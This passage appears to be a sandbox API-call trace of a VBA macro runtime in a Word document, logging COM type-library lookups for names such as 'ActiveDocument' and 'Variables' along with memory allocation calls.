returned 0x4 [0037.456] IUnknown:Release (This=0x8087c28) returned 0x3 [0037.456] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.456] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.457] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265088 | out: ppvObject=0x265088*=0x0) returned 0x80004002 [0037.457] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265090 | out: ppvObject=0x265090*=0x0) returned 0x80004002 [0037.457] ITypeInfo:GetTypeComp (in: This=0x8087cd8, ppTComp=0x265098 | out: ppTComp=0x265098*=0x8087ce0) returned 0x0 [0037.457] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68e00 [0037.457] IUnknown:AddRef (This=0x8087ce0) returned 0x3 [0037.457] IUnknown:Release (This=0x8087ce0) returned 0x2 [0037.457] IMalloc:Realloc (This=0x7feff045380, pv=0x819bb50, cb=0x90) returned 0x820bdf0 [0037.457] IUnknown:Release (This=0x8087cd8) returned 0x1 [0037.457] IUnknown:Release (This=0x8087c28) returned 0x3 [0037.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff33da, cbMultiByte=15, lpWideCharStr=0x264b80, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0037.457] ITypeComp:RemoteBind (in: This=0x8087ce0, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x264b38, pDescKind=0x264b4c, ppFuncDesc=0x264b50, ppVarDesc=0xfc00, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264b38*=0x8087cd8, pDescKind=0x264b4c*=1, ppFuncDesc=0x264b50, ppVarDesc=0xfc00, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.457] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x264b40, pDummy=0x1 | out: ppTypeAttr=0x264b40, pDummy=0x1) returned 0x0 [0037.457] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.457] ITypeInfo:GetRefTypeInfo (in: This=0x8087cd8, hreftype=0xbf00, ppTInfo=0x2643f8 | out: ppTInfo=0x2643f8*=0x8087d30) returned 0x0 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2645c8 | out: ppvObject=0x2645c8*=0x0) returned 0x80004002 [0037.457] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x264448, pDummy=0x10 | out: ppTypeAttr=0x264448, pDummy=0x10) returned 0x0 [0037.457] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264150 | out: ppvObject=0x264150*=0x0) returned 0x80004002 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264140 | out: ppvObject=0x264140*=0x0) returned 0x80004002 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264148 | out: ppvObject=0x264148*=0x0) returned 0x80004002 [0037.457] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x264178, pDummy=0x10 | out: ppTypeAttr=0x264178, pDummy=0x10) returned 0x0 [0037.457] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0037.457] IUnknown:AddRef (This=0x8087d30) returned 0x3 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2642f0 | out: ppvObject=0x2642f0*=0x0) returned 0x80004002 [0037.457] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2642e8 | out: ppvObject=0x2642e8*=0x0) returned 0x80004002 [0037.457] IUnknown:Release (This=0x8087d30) returned 0x2 [0037.458] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x2648f0, pDummy=0x0 | out: ppTypeAttr=0x2648f0, pDummy=0x0) returned 0x0 [0037.458] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2649a0 | out: ppvObject=0x2649a0*=0x8087cd8) returned 0x0 [0037.458] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x8087cd8, memid=3, invkind=2, pFuncIndex=0x2649e0 | out: pFuncIndex=0x2649e0*=0x6) returned 0x0 [0037.458] ITypeInfo2:GetFuncCustData (in: This=0x8087cd8, index=0x6, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x2649f8 | out: pVarVal=0x2649f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x264aa0, varVal2=0x81813e8)) returned 0x0 [0037.458] IUnknown:Release (This=0x8087cd8) returned 0x2 [0037.458] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264958 | out: ppvObject=0x264958*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264830 | out: ppvObject=0x264830*=0x0) returned 0x80004002 [0037.458] IUnknown:Release (This=0x8087d30) returned 0x2 [0037.458] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264958 | out: ppvObject=0x264958*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264830 | out: ppvObject=0x264830*=0x0) returned 0x80004002 [0037.458] IUnknown:Release (This=0x8087d30) returned 0x2 [0037.458] IUnknown:AddRef (This=0x8087cd8) returned 0x3 [0037.458] ITypeInfo:LocalReleaseFuncDesc (This=0x8087cd8) returned 0x0 [0037.458] IUnknown:Release (This=0x8087cd8) returned 0x2 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264bf8 | out: ppvObject=0x264bf8*=0x0) returned 0x80004002 [0037.458] IUnknown:AddRef (This=0x8087cd8) returned 0x3 [0037.458] IMalloc:Realloc (This=0x7feff045380, pv=0x7ff45d0, cb=0x80) returned 0x819bb50 [0037.458] IMalloc:Realloc (This=0x7feff045380, pv=0x805f6b0, cb=0xa0) returned 0x8220d80 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b80 | out: ppvObject=0x264b80*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b50 | out: ppvObject=0x264b50*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b40 | out: ppvObject=0x264b40*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b48 | out: ppvObject=0x264b48*=0x0) returned 0x80004002 [0037.458] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x264b78, pDummy=0x10 | out: ppTypeAttr=0x264b78, pDummy=0x10) returned 0x0 [0037.458] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.458] IUnknown:AddRef (This=0x8087cd8) returned 0x4 [0037.458] IUnknown:Release (This=0x8087cd8) returned 0x3 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264d68 | out: ppvObject=0x264d68*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264d60 | out: ppvObject=0x264d60*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264da0 | out: ppvObject=0x264da0*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264da8 | out: ppvObject=0x264da8*=0x0) returned 0x80004002 [0037.458] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264d98 | out: ppvObject=0x264d98*=0x8087c28) returned 0x0 [0037.458] ITypeInfo2:GetTypeKind (in: This=0x8087c28, pTypeKind=0x264df4 | out: pTypeKind=0x264df4*=5) returned 0x0 [0037.458] IUnknown:Release (This=0x8087c28) returned 0x4 [0037.459] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x2646a0, pDummy=0x0 | out: ppTypeAttr=0x2646a0, pDummy=0x0) returned 0x0 [0037.459] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.459] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x2646a0, pDummy=0x6 | out: ppTypeAttr=0x2646a0, pDummy=0x6) returned 0x0 [0037.459] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f0a890 [0037.459] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.459] IUnknown:Release (This=0x8087cd8) returned 0x3 [0037.459] IUnknown:Release (This=0x8087c28) returned 0x3 [0037.459] IUnknown:AddRef (This=0x8087cd8) returned 0x4 [0037.459] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x264fb8, pDummy=0x0 | out: ppTypeAttr=0x264fb8, pDummy=0x0) returned 0x0 [0037.459] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.459] IUnknown:Release (This=0x8087cd8) returned 0x3 [0037.459] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x828a8b0, dwSize=0x4c) returned 1 [0037.459] IMalloc:Free (This=0x7feff045380, pv=0x828a8b0) [0037.459] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087cd8, ppTypeAttr=0x264550, pDummy=0x0 | out: ppTypeAttr=0x264550, pDummy=0x0) returned 0x0 [0037.459] ITypeInfo:LocalReleaseTypeAttr (This=0x8087cd8) returned 0x0 [0037.459] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x82798c0 [0037.459] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2650d8 | out: ppvObject=0x2650d8*=0x0) returned 0x80004002 [0037.459] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2650e0 | out: ppvObject=0x2650e0*=0x0) returned 0x80004002 [0037.459] ITypeInfo:GetTypeComp (in: This=0x8087de0, ppTComp=0x2650e8 | out: ppTComp=0x2650e8*=0x8087de8) returned 0x0 [0037.459] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68e40 [0037.459] IUnknown:AddRef (This=0x8087de8) returned 0x5 [0037.459] IUnknown:Release (This=0x8087de8) returned 0x4 [0037.460] IMalloc:Realloc (This=0x7feff045380, pv=0x820bdf0, cb=0xa0) returned 0x8220e30 [0037.460] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.460] IUnknown:Release (This=0x8087d30) returned 0x2 [0037.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff340a, cbMultiByte=10, lpWideCharStr=0x264bd0, cchWideChar=11 | out: lpWideCharStr="Variables") returned 10 [0037.460] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Variables", lHashVal=0x10186e, wFlags=0x3, ppTInfo=0x264b88, pDescKind=0x264b9c, ppFuncDesc=0x264ba0, ppVarDesc=0x7fee3d3c82c, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264b88*=0x8087de0, pDescKind=0x264b9c*=1, ppFuncDesc=0x264ba0, ppVarDesc=0x7fee3d3c82c, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.460] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x264b90, pDummy=0x1 | out: ppTypeAttr=0x264b90, pDummy=0x1) returned 0x0 [0037.460] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.460] ITypeInfo:GetRefTypeInfo (in: This=0x8087de0, hreftype=0x6680, ppTInfo=0x264448 | out: ppTInfo=0x264448*=0x8090340) returned 0x0 [0037.460] IUnknown:QueryInterface (in: This=0x8090340, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264618 | out: ppvObject=0x264618*=0x0) returned 0x80004002 [0037.460] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090340, ppTypeAttr=0x264498, pDummy=0x10 | out: ppTypeAttr=0x264498, pDummy=0x10) returned 0x0 [0037.460] ITypeInfo:LocalReleaseTypeAttr (This=0x8090340) returned 0x0 [0037.460] ITypeInfo:GetRefTypeOfImplType (in: This=0x8090340, index=0xffffffff, pRefType=0x26447c | out: pRefType=0x26447c*=0xfffffffe) returned 0x0 [0037.460] ITypeInfo:GetRefTypeInfo (in: This=0x8090340, hreftype=0xfffffffe, ppTInfo=0x264448 | out: ppTInfo=0x264448*=0x8090398) returned 0x0 [0037.460] IUnknown:Release (This=0x8090340) returned 0x1 [0037.460] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2641a0 | out: ppvObject=0x2641a0*=0x0) returned 0x80004002 [0037.460] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264190 | out: ppvObject=0x264190*=0x0) returned 0x80004002 [0037.460] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264198 | out: ppvObject=0x264198*=0x0) returned 0x80004002 [0037.460] ITypeInfo:RemoteGetTypeAttr (in: This=0x8090398, ppTypeAttr=0x2641c8, pDummy=0x10 | out: ppTypeAttr=0x2641c8, pDummy=0x10) returned 0x0 [0037.460] ITypeInfo:LocalReleaseTypeAttr (This=0x8090398) returned 0x0 [0037.460] IUnknown:AddRef (This=0x8090398) returned 0x2 [0037.460] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264340 | out: ppvObject=0x264340*=0x0) returned 0x80004002 [0037.460] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264338 | out: ppvObject=0x264338*=0x0) returned 0x80004002 [0037.460] IUnknown:Release (This=0x8090398) returned 0x1 [0037.460] IMalloc:Realloc (This=0x7feff045380, pv=0x421770, cb=0x800) returned 0x7cb7730 [0037.460] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x264940, pDummy=0x0 | out: ppTypeAttr=0x264940, pDummy=0x0) returned 0x0 [0037.460] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.460] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2649f0 | out: ppvObject=0x2649f0*=0x8087de0) returned 0x0 [0037.460] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x8087de0, memid=26, invkind=2, pFuncIndex=0x264a30 | out: pFuncIndex=0x264a30*=0x1f) returned 0x0 [0037.460] ITypeInfo2:GetFuncCustData (in: This=0x8087de0, index=0x1f, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264a48 | out: pVarVal=0x264a48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x264af0, varVal2=0x81813e8)) returned 0x0 [0037.460] IUnknown:Release (This=0x8087de0) returned 0x4 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2649a8 | out: ppvObject=0x2649a8*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264880 | out: ppvObject=0x264880*=0x0) returned 0x80004002 [0037.461] IUnknown:Release (This=0x8090398) returned 0x1 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2649a8 | out: ppvObject=0x2649a8*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264880 | out: ppvObject=0x264880*=0x0) returned 0x80004002 [0037.461] IUnknown:Release (This=0x8090398) returned 0x1 [0037.461] IUnknown:AddRef (This=0x8087de0) returned 0x5 [0037.461] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0037.461] IUnknown:Release (This=0x8087de0) returned 0x4 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c48 | out: ppvObject=0x264c48*=0x0) returned 0x80004002 [0037.461] IUnknown:AddRef (This=0x8087de0) returned 0x5 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264bd0 | out: ppvObject=0x264bd0*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ba0 | out: ppvObject=0x264ba0*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b90 | out: ppvObject=0x264b90*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b98 | out: ppvObject=0x264b98*=0x0) returned 0x80004002 [0037.461] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x264bc8, pDummy=0x10 | out: ppTypeAttr=0x264bc8, pDummy=0x10) returned 0x0 [0037.461] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.461] IUnknown:AddRef (This=0x8087de0) returned 0x6 [0037.461] IUnknown:Release (This=0x8087de0) returned 0x5 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264db8 | out: ppvObject=0x264db8*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264db0 | out: ppvObject=0x264db0*=0x0) returned 0x80004002 [0037.461] IUnknown:AddRef (This=0x8087de0) returned 0x6 [0037.461] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x264f38, pDummy=0x33a0828 | out: ppTypeAttr=0x264f38, pDummy=0x33a0828*=0x0) returned 0x0 [0037.461] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.461] IUnknown:Release (This=0x8087de0) returned 0x5 [0037.461] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x828a8b0, dwSize=0x4c) returned 1 [0037.461] IMalloc:Free (This=0x7feff045380, pv=0x828a8b0) [0037.461] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x2644d0, pDummy=0x0 | out: ppTypeAttr=0x2644d0, pDummy=0x0) returned 0x0 [0037.461] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ca0 | out: ppvObject=0x264ca0*=0x0) returned 0x80004002 [0037.461] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, 